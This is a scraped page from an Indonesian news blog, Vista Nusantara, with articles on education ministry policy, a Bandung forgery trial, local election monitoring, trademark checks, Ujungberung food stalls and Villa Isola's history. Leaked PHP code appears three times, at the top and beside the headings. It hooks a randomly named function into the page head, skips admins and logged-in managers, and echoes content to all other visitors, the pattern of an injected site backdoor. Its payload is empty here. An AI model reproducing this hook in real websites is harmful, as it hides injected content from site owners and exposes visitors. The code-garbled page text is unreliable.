if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 265 dari 271 -

Vista Nusantara

?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

  • Direktorat PAUD Canangkan Pembangunan Zona Integritas Wilayah Birokrasi Bersih Melayani

        Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (Kemendikbudristek) melalui Direktorat Jenderal Pendidikan Anak Usia Dini, Pendidikan Dasar, dan Pendidikan Menengah (Ditjen PDM) melakukan pencanangan pembangunan Zona Integritas Wilayah Birokrasi Bersih Melayani (ZI WBBM) di Jakarta, Senin (19/2).

    Direktur Jenderal PDM, Iwan Syahrir, hadir bersama Direktur Pendidikan Anak Usia Dini (PAUD), Komalasari; Direktur SEAMEO Center of Early Childhood Care Education and Parenting, Vina Adriany; Widyaprada Ahli Utama Kemendikbudristek; dan pimpinan Direktorat PAUD.
    Dalam sambutannya, Iwan Syahril menyampaikan, “Sinergitas dan komitmen bersama menjadi nilai inti bagi Direktorat PAUD yang telah meraih predikat Zona Integritas Wilayah Bebas Korupsi (ZI WBK) yang diberikan Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (KemenPAN-RB) pada bulan Desember 2023 lalu.”
    Ia pun menyambut baik inisiatif Direktorat PAUD yang diawal tahun 2024 ini mendorong satuan kerjanya untuk meningkatkan kinerja dan melakukan pelayanan prima untuk seluruh stakeholder.
    Iwan Syahril berharap agar Kegiatan Komitmen Bersama Capaian Target Kinerja Direktorat PAUD Tahun 2024 yang diikuti dengan pencanangan ZI WBBM akan memberikan manfaat dan dampak baik bagi Direktorat PAUD maupun pihak terkait dalam mewujudkan pemerintahan yang bersih dan akuntabel serta pelayanan publik yang prima.
    “Harapan kita semua agar nantinya Direktorat PAUD menjadi pusat percontohan bagi unit dan satuan kerja lain terkait penerapan tata kelola yang baik, serta memberikan pelayanan publik yang prima dan berintegritas,” ujarnya.
    Berdasarkan Keputusan Menteri Pendidikan dan Kebudayaan Nomor 1176/P/2020 tentang Pedoman Pembangunan Zona Integritas Wilayah Bebas dari Korupsi / Wilayah Birokrasi Bersih dan Melayani, maka seluruh satuan kerja yang ada di Kemendikbudristek harus mulai menerapkan pola ZI sebagai target perjanjian kinerja mulai dari pimpinan sampai kepada seluruh staf.
    Direktorat PAUD pada tahun 2023 berhasil menunjukan komitmennya dalam pembangunan ZI WBK. Hal ini akan menjadi tonggak penting untuk terus berkarya dan berinovasi bahwa pencapaian ZI mempunyai makna pembangunan budaya organisasi yang agile dan tiada henti.
    ASN Bentuk Budaya Kerja Prima
    Pada kesempatan tersebut, Dirjen Iwan meminta seluruh pimpinan ASN baik PNS dan non PNS untuk ikut berkontribusi, berkolaborasi saling membantu, membentuk budaya kerja yang prima, dan melayani dengan sepenuh hati, agar cita-cita yang diinginkan bersama dapat diraih. “Tularkan virus baik ini kepada satuan kerja lain agar tercipta ekosistem pendidikan yang merujuk pada zona integritas, baik ZI WBK dan ZI WBBM,” pungkasnya.
    Dijelaskan oleh Dirjen Iwan, transformasi organisasi merupakan hal fundamental untuk meningkatkan pelayanan kepada stakeholder pendidikan. Kemendikbudristek terus berupaya melakukan serangkaian terobosan pemecahan masalah untuk membantu kualitas pendidikan di Indonesia menjadi semakin baik.
    Berdasarkan penelitian Organization Health Index (OHI) oleh McKinsey, disebutkan bahwa OHI Score Ditjen PDM ada di nilai 83 dan masuk di kategori top quartile. Angka ini satu tingkat lebih tinggi dibanding OHI Kemendikbudristek yang memperoleh nilai 80 di kategori second quartile.
    “Menariknya, untuk penilaian indikator-indikator yang mendukung organisasi sehat di kalangan supervisor, direktur, dan eselon-eselon, baik itu lingkungan kerja, motivasi, kapabilitas, dan sebagainya, rata-rata masuk di kategori top decile yang merupakan kategori tertinggi. Untuk semua level pun motivasi pegawai mendapat skor 84, yakni di kategori top decile,” jelas Dirjen Iwan.
    Lebih lanjut ia mengungkapkan, “Hal ini menjadi refleksi bagi kita untuk melakukan transformasi organisasi yang lebih baik lagi ke depan. Kita perlu ingat bahwa ending goal dari segala upaya yang kita lakukan adalah demi murid, murid, dan murid.”
    Sampai saat ini sudah terdapat 26 episode kebijakan Merdeka Belajar yang diluncurkan, dan hampir setengah kebijakan tersebut berkaitan dengan stakeholder Pendidikan Anak Usia Dini, Pendidikan Dasar, dan Pendidikan Menengah. “Kita perlu berempati kepada stakeholder kita, apakah kebijakan-kebijakan yang telah diluncurkan dapat diterima dengan baik oleh mereka, dan apakah mereka sudah dapat melaksanakannya demi transformasi satuan pendidikan.”
    Sebelum menutup, Iwan Syahril mengatakan bahwa setiap episode kebijakan Merdeka Belajar saling berkesinambungan, semua episode tersebut adalah upaya problem solving yang dibangun agar satuan pendidikan dapat melakukan identifikasi, refleksi, dan pemb

  • Perkara Pidana Dengan Terdakwa Linda Sahara , Pelapor Sangat Kecewa Atas Tuntutan Yang di Bacakan JPU

    Bandung, VN,-  Pengadilan Negeri klas. 1A khusus Bandung menggelar perkara pidana dengan terdakwa Linda Sahara. 

    Perempuan paru baya 77 (th) yang beralamat dan tinggal di jalan Cipaganti Permai no. 7 RT. 01/ RW 03 Kelurahan Cipaganti, Kecamatan Coblong Kota Bandung ini tercatat  dalam Surat Dakwaan Jaksa Penuntut Umum bernomor: Reg. Perkara : Pdm-690/Bdg/08/2023 dengan Jaksa Penuntut Suharja, S. H. 

    Sementara agenda sidang hari ini Senin,20/2/2024 adalah pembacaan tuntutan kepada terdakwa Linda Sahara.

    Dalam perkara ini Jaksa Penuntut Umum dari Kejati Jabar Suharja, S. mendakwa Linda Sahara dengan 3 pasal KUH Pidana, yaitu, pasal 266 tentang pemalsuan surat, 263 tentang menggunakan surat palsu serta 372 tentang penggelapan.

    Namun demikian dari 3 dakwaan JPU yang dibacakan dalam persidangan di muka Majelis Hakim yang di Ketuai Tuty  Haryati, SH, MH Jaksa Penuntut tardakwa Linda Sahara dengan tututan pidana meyakini bahwa Linda Sahara secara sah terbukti melakukan perbuatan pasal 266 , 263 KUH Pidana dengan pidana Selama 18 bulan penjara. 

    Diluar persidangan, Rosiati sebagai pelapor dalam perkara ini sangatlah kecewa setelah mengetahui terdakwa Linda Sahara hanya dituntut pidana 1 tahun 6 bulan pidana penjara, kami sangat kurang puas dengan tuntutan jaksa, “ungkapnya. 

    Dikatakan Rosiati, bahwa  ini bukan hanya perkara pidana untuk terdakwa Linda Sahara namun kami juga sudah memperjuangkan perkara perdatanya juga di Pengadilan yang sama di PN Bandung dan kami sudah menangkan di tingkat Kasisi Mahkamah Agung, upaya hukum PK ( Peninjauan Kembali) oleh lawan pun sudah di tolaknya, jadi kami upaya hukum ke pengadilan ini cuma minta keadilan, karena dalam perkara perdatanya sudah menjadi kekuatan hukum tetap.

    Lanjut Rosiati, kalau melihat persoalan hukum seperti ini kami sebagai pelapor yang sangatlah dirugikan tetunya sangatlah kuatir kiranya para hakim yang menyidangkan perkara pidana Linda Sahara untuk memutus yang seberat beratnya, apa lagi terdakwa Linda sampai dengan saat ini hanya menjalani tahanan kota. 

    Masih menurut Rosiati, kiranya kami sebagai pelapor dalam perkara pidana atas nama Linda Suhara mempunyai dugaan dan kecurigaan kuat hakim akan membebaskan dari jeratan hukum  pidananya. 

    (Red.Tim)

  • Caleg DPRD Kab.Bandung Dapil 6 Partai Demokrat, Arief Budiman, SH. MH. CRA Bersama Relawan, Akan Terus Kawal Hasil Pemilu 2024



    Bandung,VN,-     Pemilu kini sudah melewati masa pemilihan, saat ini seluruh elemen masyarakat sedang menanti-nantikan hasil keputusan kpu terkait perolehan rekapitulasi suara yg saat ini sedang dalam masa penghitungan. 

    Caleg DPRD Kab. Bandung dapil 6 dari Partai Demokrat,  Arief Budiman, SH. MH. CRA. bersama relawan Baraya Kang Arief akan secara konsisten mengawal jalanya proses perhitungan suara dari awal-akhir. 

    Bersama relawan baraya Kang Arief, dirinya menjelaskan tahap perhitungan ini adalah tahap yg harus dikawal secara konsisten, dan bagi dirinya turut mengawal perhitungan perolehan suara merupakan suatu bentuk apresiasi dan rasa kepedulian kepada KPU sebagai elemen penting dalam jalanya pesta demokrasi.

    “saat itu kita semua sudah memasuki tahap perhitungan suara, pada tahap ini mari kawal bersama-sama, dan berikan dukungan serta kepercayaan kepada KPU dalam menjalankan tugasnya” Ujar Kang


    lanjut, Kang Arief menerangkan bahwa dirinya bersama tim relawan akan turun ke beberapa kecamatan seperti Baleendah, Ciparay, kertasari, & Pacet guna memantau proses pleno yang dilaksanakan di beberapa kecamatan tersebut. bandung, 19/02

    “Saya bersama tim relawan akan turun ke setiap kecamatan pada hari senin ini, ada beberapa orang tim yang akan ke kec. baleendah & ciparay, dan saya rencananya akan turun memantau di kec. kertasari & pacet” Ujar Kang Arief.

    sebelum mengakhiri sesi wawancara, Kang Arief menghimbau kepada seluruh masyarakat untuk bersama-sama mendoakan agar jalanya pemilu 2024 dapat berjalan lancar sampai akhir, dan mengajak untuk mengawal dan memberikan dukungan kepada KPU dalam menjalankan seraingkaian proses rekapitulasi suara hingga tahap akhir.***

  • Ka.Divisi Pelayanan Kumham Jabar Lakukan Pengawasan Merk Di Kawasan Branded Villagio Sumarecon Karawang

    Bandung, VN,- Kepala Divisi Pelayanan Hukum dan HAM Jawa Barat Dr Andi Taletting Langi, memantau kawasan tersebut di dampingi oleh Dona Prawisuda Kepala Subbidang Pelayanan Kekayaan Intelektual Kanwil Kemenkumham Jawa Barat. 

    Dalam rangka sertifikasi Pusat perbelanjaan subbid YanKI kemenkumham Jabar melakukan pemantauan dan pengawasan merek merek luar negeri yang mendapatkan Hak Prioritas nya di Indonesia. 

    Andi mengatakan secara langsung dalam pengawasan nya di salah satu outlet ternama, jangan sampai kawasan branded tersebut tersisipi barang barang Kw atau Bm (black market) karena image dari kawasan Villagio ini, masyarakat tahu akan di tempat tersebut sebagai kawasan merek merek asli yang sudah terdaftar di luarnegeri ato secara hak prioritasnya terdaftar di Indonesia.

    Dona menambahkan bahwa kawasan branded ini bisa mendapatkan nilai 100% dari target 70% sertifikasi pusat perbelanjaan apabila tidak ada unsur unsur yang berbau palsu apalagi Kw.

    Merek di atur dalam undang undang nomor 20 Tahun 2016 tentang merek dan Indikasi Geografis. Perlindungan hukum tentang melegalisasi nama usaha barang atau jasa. Nama, logo, atau kombinasi dari nama dan logo.

    Dalam pengawasan ini di pastikan kawasan branded Villagio mendapatkan sertifikasi nya di tahun 2024.***

  • Uji Publik Permendikbudristek Kurikulum Merdeka Jaring Aspirasi Para Pemangku Kepentingan Pendidikan

        Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (Kemendikbudristek) melalui Pusat Kurikulum dan Pembelajaran, Badan Standar, Kurikulum, dan Asesmen Pendidikan (BSKAP), mengadakan Uji Publik Rancangan Peraturan Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi (Permendikbudristek) tentang Kurikulum Merdeka pada 16 Februari 2024. Uji publik dihadiri oleh 152 orang perwakilan pemangku kepentingan pendidikan dari berbagai daerah di Indonesia. Para peserta berasal dari unsur kepala satuan pendidikan, pendidik, dinas pendidikan dan pengawas, yayasan penyelenggara pendidikan, organisasi masyarakat, Lembaga Pendidikan Tenaga Kependidikan (LPTK), dan mitra pendidikan.

    Penerapan Secara Bertahap untuk Mewujudkan Pelajar Sepanjang Hayat
    Kepala BSKAP, Anindito Aditomo, dalam sambutannya menyampaikan bahwa Permendikbudristek yang sedang dirancang merupakan bagian dari pengembangan dan penerapan Kurikulum Merdeka secara bertahap. “Pengembangan Kurikulum Merdeka dilakukan sejak awal 2020 dan diterapkan secara terbatas di sekitar 3.000 Sekolah Penggerak pada 2021. Pada tahap berikutnya, yaitu tahun 2022 dan 2023, Kurikulum Merdeka menjadi opsi yang dapat dipilih oleh satuan pendidikan. Pada tahap tersebut, lebih dari 300 ribu satuan pendidikan secara sukarela memilih untuk mulai menerapkan Kurikulum Merdeka. Ini mencakup sekitar 80% dari satuan pendidikan formal di Indonesia,” jelas Anindito.
    Pada 2024 penerapan kurikulum baru akan diperkuat dengan adanya Permendikbudristek Kurikulum Merdeka. “Regulasi ini akan memberi kepastian bagi semua pihak tentang arah kebijakan kurikulum nasional. Setelah Permendikbudristek ini terbit, sekitar 20% satuan pendidikan yang belum menerapkan Kurikulum Merdeka akan memiliki waktu 2 tahun untuk mempelajari dan kemudian menerapkannya,” tambah Anindito.
    Menurut Anindito, yang paling penting ditekankan dalam penerapan Kurikulum Merdeka adalah tujuannya. “Pergantian kurikulum hanya cara untuk mencapai tujuan yang kita inginkan bersama, yaitu meningkatkan kualitas pembelajaran bagi semua murid. Kurikulum Merdeka dirancang untuk memberi fleksibilitas bagi pendidik dan satuan pendidikan untuk menumbuhkembangkan cipta, rasa, dan karsa peserta didik agar menjadi pemelajar sepanjang hayat yang berkarakter Pancasila,” ujar Anindito.
    Pelaksana tugas (Plt.) Kepala Pusat Kurikulum dan Pembelajaran, Zulfikri, menegaskan bahwa kurikulum ini merupakan milik kita semua. “Hakikatnya pendidikan bersifat inklusif, hadir untuk semua anak. Dunia pendidikan terbuka menerima peserta didik dengan segala kondisi. Peran pendidik menjadikan peserta didik yang mempunyai kekurangan untuk mampu mencari dan menemukan kekuatan di balik kekurangannya. Seorang guru sejati, ikhlas menerima peserta didik apa adanya,” jelas Zulfikri.
    Proses pengembangan yang berkelanjutan dan partisipatif merupakan upaya pemerintah untuk memastikan bahwa kebijakan yang diluncurkan tepat guna bagi pendidikan, termasuk kurikulum. Rancangan Permendikbudristek tentang Kurikulum Merdeka disusun guna memastikan kualitas dan menjaga keberlanjutan transformasi pendidikan di Indonesia, serta menetapkan Kurikulum Merdeka sebagai kurikulum nasional. Pada substansinya, naskah ini mengatur terkait tujuan dan prinsip, kerangka dasar dan struktur kurikulum, serta hal-hal terkait implementasi Kurikulum Merdeka.
    Ketika peraturan ini ditetapkan, satuan pendidikan anak usia dini, dasar, dan menengah dapat melaksanakan Kurikulum 2013 sampai dengan paling lama tahun ajaran 2025/2026. Artinya, pemerintah memberikan waktu bagi satuan pendidikan untuk bertransisi. Selain itu, satuan pendidikan diberikan keleluasaan menerapkan Kurikulum Merdeka secara bertahap mulai dari kelas 1, 4, 7, dan 10 atau untuk seluruh kelas.
    Masukan Konstruktif dari Para Pemangku Kepentingan
    Peserta uji publik yang hadir dari berbagai unsur telah menyampaikan masukan yang sangat konstruktif disertai berbagai pendapat dan sudut pandang yang akan dijadikan bahan perbaikan dari rancangan peraturan menteri ini.
    Salah satu pengurus Lembaga Pendidikan Ma’arif NU, Alamsyah, menyatakan Kurikulum Merdeka bisa melejitkan daya saing kuat Indonesia hingga 50 tahun ke depan. “Untuk itu, penambahan dan pemberian ruang bagi pendidikan keagamaan di madrasah, sekolah, dan pesantren perlu menjadi pertimbangan. Selain itu, penguatan kebangsaan bisa jadi perhatian bersama, misalnya melalui pramuka atau kegiatan lainnya. Kegiatan semisal itu perlu diwajibkan,” jelas Alamsyah.
    Perwakilan dari Majelis Pendidikan Dasar dan Menengah Muhammadiyah, Bagus Mustakim, mengapresiasi uji publik dan memberikan beberapa masukan. “Aspek lokalitas perlu muncul dalam peraturan. Hal ini dapat dilakukan melalui muatan lokal yang dapat diintegrasikan dengan Projek Penguatan Profil Pelajar Pancasila atau bisa juga dengan mata pelajaran khusus melalui ekstrakurikuler,” ujar Bagus.
    Sementara itu, Eko Ady, perwakilan dari Ikatan Pamong Belajar Indonesia (IPABI) mengapresiasi langkah Kemendikbudristek yang melibatkan berbagai pihak dalam menyusun peraturan ini. “Pelibatan publik ini menjadi awal yang bagus, agar grand design dari pendidikan itu dapat kami terima dan berikan masukan. Dengan demikian, ketika nanti diimplementasikan menjadi mudah dan efektif di lapangan,” ucap Eko.
    Dari kelompok pengawas, Rivai menuturkan, “Saya mengapresiasi kegiatan ini. Peraturan yang dirumuskan untuk umum tentu harus diuji publik dulu dari berbagai unsur sehingga rumusan-rumusan akhir sudah mempertimbangkan kepentingan dari berbagai unsur dan dapat meluruskan miskonsepsi.”
    Isti Budhi Setiawati, perwakilan dari komunitas Ibu Penggerak mengatakan bahwa rancangan peraturan ini sudah sangat detail dan bahasanya mudah dipahami oleh orang tua. “Mungkin yang menjadi perhatian adalah pemilihan bahasa yang gampang dicerna. Nanti yang menjadi tantangan adalah jika aturan ini sudah ditetapkan menjadi Permendikbudristek. Kemendikbudristek perlu menyusun strategi sosialisasi yang memudahkan orang tua untuk memahami aturan ini,” tegas Isti.
    Sejalan dengan Isti, Ketua Umum Ikatan Guru Indonesia (IGI), Danang Hidayatullah, menyampaikan bahwa pemerintah perlu menyusun strategi sosialisasi dan implementasi yang memudahkan para pemangku kepentingan memahami peraturan ini, khususnya di level satuan pendidikan dan pendidik, agar implementasinya tepat guna. “Organisasi profesi guru siap membantu pemerintah untuk mengamplifikasi kebijakan ini dan pemerintah diharapkan dapat memfasilitasinya,” tutur Danang.
    Koordinator Nasional Jaringan Pemantau Pendidikan Indonesia (JPPI), Ubaid Matraji, juga menegaskan bahwa strategi implementasi penting untuk direfleksikan untuk mengatasi permasalahan di lapangan. “Agar ekosistem pendidikan memahami peraturan secara komprehensif dan dapat berperan aktif dalam implementasi peraturan ini,” jelas Ubaid.
    Lebih lanjut, Ketua Asosiasi Kepala Sekolah Indonesia (AKSI), Asep Tapip Yani, menyampaikan apresiasi dan sekaligus masukan. “Lampiran telah mencakup kebutuhan, tetapi perlu disesuaikan beberapa redaksi agar lebih terintegrasi dan konsisten,” jelas Asep.
    Di sisi lain, Nurhandi sebagai perwakilan dari Universitas Sanata Dharma menyambut baik kehadiran Kurikulum Merdeka. “Kurikulum ini tidak lagi tentang content-based, tetapi lebih menekankan pengetahuan, sehingga perlu dihargai dan diapresiasi. Kurikulum ini juga punya peluang fleksibilitas otonomi sekolah,” tutur Nurhandi. Namun, hal-hal seperti asesmen yang menguatkan proses pembelajaran perlu dikuatkan kembali. Ini penting karena selama ini pembelajaran cenderung disesuaikan dengan asesmen. Padahal, asesmen dilakukan untuk melihat capaian pembelajaran peserta didik.
    Melengkapi beberapa masukan tersebut di atas, Kepala Dinas Pendidikan Provinsi Jawa Tengah, Uswatun Hasanah, menyatakan bahwa konsep dari Kurikulum Merdeka ini sudah baik, tetapi peran serta semua pihak sangat penting untuk mencari solusi atas berbagai tantangan di lapangan. “Kami mengusulkan perlunya penguatan dengan berbagai perspektif. Regulasi ini bisa menjadi ‘rumah’ untuk setiap daerah.”
    Uji publik menjadi wadah bagi Kemendikbudristek untuk menerima masukan dan aspirasi yang bersifat konstruktif dari para pemangku kepentingan, baik dari sisi formal maupun materi substansial dalam upaya penyempurnaan rancangan peraturan menteri tersebut. “Garis besar rancangan peraturan menteri ini adalah mengatur tentang tujuan dan prinsip dari Kurikulum Merdeka, kerangka dasar dan struktur Kurikulum Merdeka, serta implementasi dari Kurikulum Merdeka itu sendiri. Ketika Permendikbudristek ini sudah ditetapkan, diharapkan menjadi acuan bagi para pemangku kepentingan dalam mengimplementasikan Kurikulum Merdeka dan memperoleh dukungan dari berbagai pihak,” jelas Anindito.
    Anindito menyampaikan apresiasi setinggi-tingginya kepada semua peserta yang telah memberikan masukan-masukan yang sangat berharga untuk menghasilkan sebuah kebijakan pendidikan yang inklusif.
    Pada tahun 2024, pemerintah akan kembali membuka pendaftaran bagi seluruh satuan pendidikan yang akan menerapkan Kurikulum Merdeka. Untuk mempelajari berbagai informasi dan regulasi terkait kebijakan kurikulum, publik dapat mengaksesnya melalui laman https://kurikulum.kemdikbud.go.id dan buku teks Kurikulum Merdeka di https://buku.kemdikbud.go.id/katalog/buku-kurikulum-merdeka. (Penulis: Tim Puskurjar / Editor: Denty, Stephanie, Azis)

  • 5 Rekomendasi Kuliner Nikmat di Ujungberung Bandung

        Kota Bandung dikenal sebagai kota kuliner, tak kecuali di Bandung Timur. Lokasi yang banyak menyajikan kuliner-kuliner yang murah dan nikmat salah satunya ada di bilangan Ujungberung.

    Kalau berkunjung ke Ujungberung banyak kuliner yang enak yang bisa anda kunjungi.
    Daripada bingung, ini dia 5 rekomendasi kuliner yang bisa dicoba di Ujungberung.
    1. Seblak Janda
    Salah satu tempat makan seblak yang unik dan enak yaitu di Seblak Janda dengan level pedas andalannya yaitu Pisah Ranjang dan Talak Tiga.
    Lokasinya di Jalan A.H Nasution, Pasir Endah, Kecamatan Ujung Berung, Kota Bandung. Buka setiap hari pada pukul 15.00 WIB sampai 24.00 WIB.
    Perpaduan rasa pedasnya cabe dan aroma kencur menjadi daya tarik pengunjung yang datang. Apalagi dengan 40 jenis paduan seblak.
    Mulai dari kerupuk kering warna warni, batagor kering, sayuran, suki-sukian, tulang, cakar ayam, cilok, bakso hingga kikil bisa jadi pilihan pengunjung.
    Soal level kepedasan di Seblak Janda, ada enam level. Ada level harmonis, pisah ranjang, talak 1, talak 2, sampai talak 3. Paling diminati, pisah ranjang yang pedas sedang dan talak tiga yang super pedas.
    Bagi yang ingin mencicipi seblak janda ini jangan khawatir hanya dengan Rp. 8.000 sampai Rp. 15.000.

    2. Tahu Gejrot depan Superindo
    Meski asli Cirebon, tahu gejrot mudah ditemui di berbagai daerah Indonesia. Di Bandung, ada penjual tahu gejrot populer yang layak disambangi. Lokasinya di Superindo, Ujungberung.
    Penjual tahu gejrot yang mangkal di tempat pejalan kaki ini menggunakan tanggungan. Dari sore hingga malam hari, penjual tahu gejrot ini tak pernah sepi pembeli.
    Terlebih, lokasi berjualannya terbilang strategis. Tak jarang pengunjung swalayan atau pengendara yang melintas di jalan tersebut tergoda mampir beli tahu gejrot.
    Kita bisa langsung mencicipi tahu gejrot ini dengan duduk di bangku kayu yang disediakan. Selain itu, bisa juga dibawa pulang.
    3. Bakso Engkus Ujungberung
    Bakso Engkus dikenal dengan daging baksonya yang empuk ditambah dengan berbagai toping pelengkap. Lokasinya berada di Pujasera depan Yon Zipur 9 Ujungberung.
    Kuah bakso ini sangat sedap dan gurih, jadi bagi yang tidak suka pedas bisa sekali langsung disantap tanpa sambal.
    Satu porsi Bakso Engkus berisikan beberapa daging bakso ukuran kecil, ceker, siomay, babat yang dilengkapi dengan mie atau bihun.
    Bakso mantep sangat cocok disantap bersama keluarga dan teman-teman.
    4. Bala-bala Gengster
    Bagi yang suka kuliner malam, Bala-bala Gengster pilihan yang tepat.
    Gorengan ini familiar disebut ‘balgeng’. Punya predikat gengster, bukan lantaran pedagangnya adalah seorang berandal, namun karena beroperasi pada malam hari. Mulai buka malam hari hari mulai pukul 21.00 WIB sampai subuh menjelang.
    Yang unik dari Bala-bala Gengster adalah ukurannya yang jumbo dan harganya yang murah, membuat para pelanggannya ketagihan.

    Bala-bala Gengster bisa ditemui di sekitar pasar Ujungberung tepatnya di Jalan Nagrog, sekitar 50 meter dari bibir gang yang bermuara di jalan raya.
    5. Pecel Lele dan Ayam Pak Sumar
    Pecel lele dan Ayam Pak Sumar terletak di sebrang pusat perbelanjaan Ubertos Jl. A.H. Nasution No. 135B Ujungberung Bandung. Buka dari pukul 18.00 WIB sampai larut malam.
    Pecel lele dan Ayam Pak Sumar menyajikan sambal yang berlimpah. Kenikmatan rasa yang membuat Pak Sumar selalu dipenuhi pengunjung. Maka tidak heran jika antrean pengunjung hingga berjajar keluar tenda.
    Menu andalannya yaitu pecel lele, pecel ayam sampai soto ayam. Harganya pun murah mulai dari Rp. 10.000 saja.
    Jadi, tunggu apa lagi? Ayo segera cicipi 5 kuliner di Ujungberung ini ya! (sumber:dskoinfo.bdg)

  • Menilik Sejarah Villa Isola Bandung

    Kota Bandung dikenal memiliki banyak bangunan heritage. Hal itu sangat wajar karena pada tahun 1920-1940, Bandung menjadi laboratorium arsitek Belanda.

    Di tahun-tahun tersebut, arsitek Belanda banyak yang mengeksplorasi kemampuannya di kota ini.
    Salah satunya yaitu Gedung Isola yang terletak di Jalan Setiabudi.
    Dikutip dari buku “Dari Villa Isola Ke Bumi Siliwangi” Lulus Abadi dan Sudarsono Katam, rancangan dari villa ini diprakarsai oleh D.W. Beretty,dan menggunakan arsitek yaitu C.P.Wolff Schoemaker.
    Rancangan villa isola dibuat oleh wolff schoemaker pada tahun 1932. Pada tanggal 12 Maret 1933, merupakan peletakan batu pertama pembangunan Villa Isola di Desa Tjidadap.
    Pembangunan villa ini terbilang singkat, berkat kerjasama yang baik antara biro arsitek, kontraktor, arsitek, pengawas teknik, dan para mando serta 700 pekerja bangunan.
    Villa isola memulai pembangunan pada bulan Oktober 1932 dan selesai di bulan Maret 1933.
    Namun, villa ini baru diresmikan ketika 8 bulan kemudian yaitu pada 17 Desember 1933.
    Villa isola sempat berpindah tangan kepada pemilik hotel homman saat itu yaitu Rr. J. Van Es, dan ketika tentara Jepang mendarat di Pulau Jawa.
    Sebelumnya, Villa isola ini dijadikan sebagai tempat tinggal dan kantor komandan divisi tentara Hindia Belanda yang menguasai Kota Bandung.
    Lalu, pada masa kependudukan Jepang, Villa isola ini diduduki dan digunakan srbagai markas tentara dan tempat penyimpanan peralatan perang tentara Belanda yang disita oleh Jepang.
    Selain itu juga, tepat di lingkungan Villa Isola terdapat tugu pembukaan perguruan tinggi pendidikan guru yang diresmikan oleh J.M Perdana Menteri Republik Indonesia Mr. Ali Sastroamidjojo pada 20 Oktober 1954
    Saat ini, kondisi Villa Isola masih terawat dengan baik. Bangunan Villa Isola kini menjadi sekretariat dari Universitas Pendidikan Indonesia, salah satunya kantor Rektorat.***

  • Cepat Salurkan Bantuan Operasional Satuan Pendidikan, Kemendikbudristek Tetap Utamakan Akuntabilitas

        Pada awal tahun 2024, Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (Kemendikbudristek) telah menyalurkan Bantuan Operasional Satuan Pendidikan (BOSP) tahap I tercepat sepanjang sejarah. Percepatan penyaluran tersebut terus menjaga akuntabilitas pertanggungjawaban dari pengelolaan dana BOSP. Optimalisasi pemanfaatan Dana BOSP juga turut didukung dengan penggunaan Aplikasi Rencana Kegiatan dan Anggaran Sekolah (ARKAS) yang telah aktif digunakan di banyak satuan pendidikan.

    Sebanyak 216.793 atau 99,4 persen satuan pendidikan saat ini telah terintegrasi dengan SIPLah (Sistem Informasi Pengadaan Sekolah) serta Sistem Informasi Pemerintah Daerah (SIPD). Capaian penyaluran sebesar 402.831 (96%) dari total 419.218 satuan pendidikan pada bulan Januari dilaksanakan untuk mendukung satuan pendidikan dalam menyelenggarakan dan mewujudkan pendidikan Indonesia yang unggul dan hebat.
    Dana BOSP merupakan salah satu dari empat kebijakan dari peluncuran Merdeka Belajar Episode Ketiga, sekaligus menjadi titik awal reformasi kebijakan dana Bantuan Operasional Sekolah (BOS). Keberpihakan pada satuan pendidikan menjadi fokus utama Kemendikbudristek dalam melakukan relaksasi sebagai ketentuan syarat penyaluran dana BOSP tahap 1 serta memperhitungkan pertanggungjawaban penatausahaan pada tahap II.
    Ketua Tim Kerja Perencanaan, Evaluasi, dan Transformasi Digital, Ditjen PAUD, Dikdas dan Dikmen, Kemendikbudristek, Nandana Aditya Bhaswara, mengatakan, salah satu terobosan yang dilakukan Kemendikbudristek tahun ini adalah membuat desain pelaporan dan seluruh pertanggungjawabannya pada penyaluran tahap II. Sebelumnya, pelaporan dana BOSP pada bulan Januari menjadi syarat utama pencairan, kemudian tahun ini pelaporan tersebut dipindahkan menjadi penyaluran tahap II.
    “Hal tersebut dilakukan agar penyaluran tetap menjaga akuntabilitas tanpa mengurangi proses yang ada, sehingga proses pembelajaran akan terus berjalan tanpa jeda karena keterlambatan penyaluran Dana BOSP,” ujar Nandana dalam webinar Silaturahmi Merdeka Belajar (SMB) bertajuk “Langkah Tepat Pemanfaatan BOSP Salur Tercepat” yang disiarkan melalui kanal Youtube KEMENDIKBUD RI, pada Kamis, (15/2).
    Lebih lanjut, Nandana mengimbau kepada satuan pendidikan yang telah menerima penyaluran agar memanfaatkan dana BOSP dengan cepat. “Ada dua prinsip yang harus diperhatikan dalam pemanfaatan dana BOSP. Yang pertama bahwa sejak tahun 2020, Petunjuk Teknis (Juknis) BOSP mengedepankan fleksibilitas atau sesuai dengan kebutuhan sekolah. Kedua, kami mengimbau agar satuan pendidikan juga telah menyusun daftar perencanaan kebutuhan sekolah dengan berkaca pada rapor pendidikan, sehingga pemanfaatan dana BOSP menjadi efektif dan efisien,” ujarnya.
    Nandana berharap penyaluran tahap II juga bisa menjangkau 96 persen satuan pendidikan penerima seperti tahap I. Ia juga mengajak para satuan pendidikan untuk dapat menyelesaikan pelaporan tahun 2023 agar tidak terjadi keterlambatan yang mengakibatkan pemotongan dan denda. Tidak lupa pentingnya peran pemerintah daerah yang bertugas memverifikasi sisa dana hasil pelaporan. Nantinya, sisa dana tersebut akan diperhitungkan sebagai penyaluran dana BOSP tahap II.
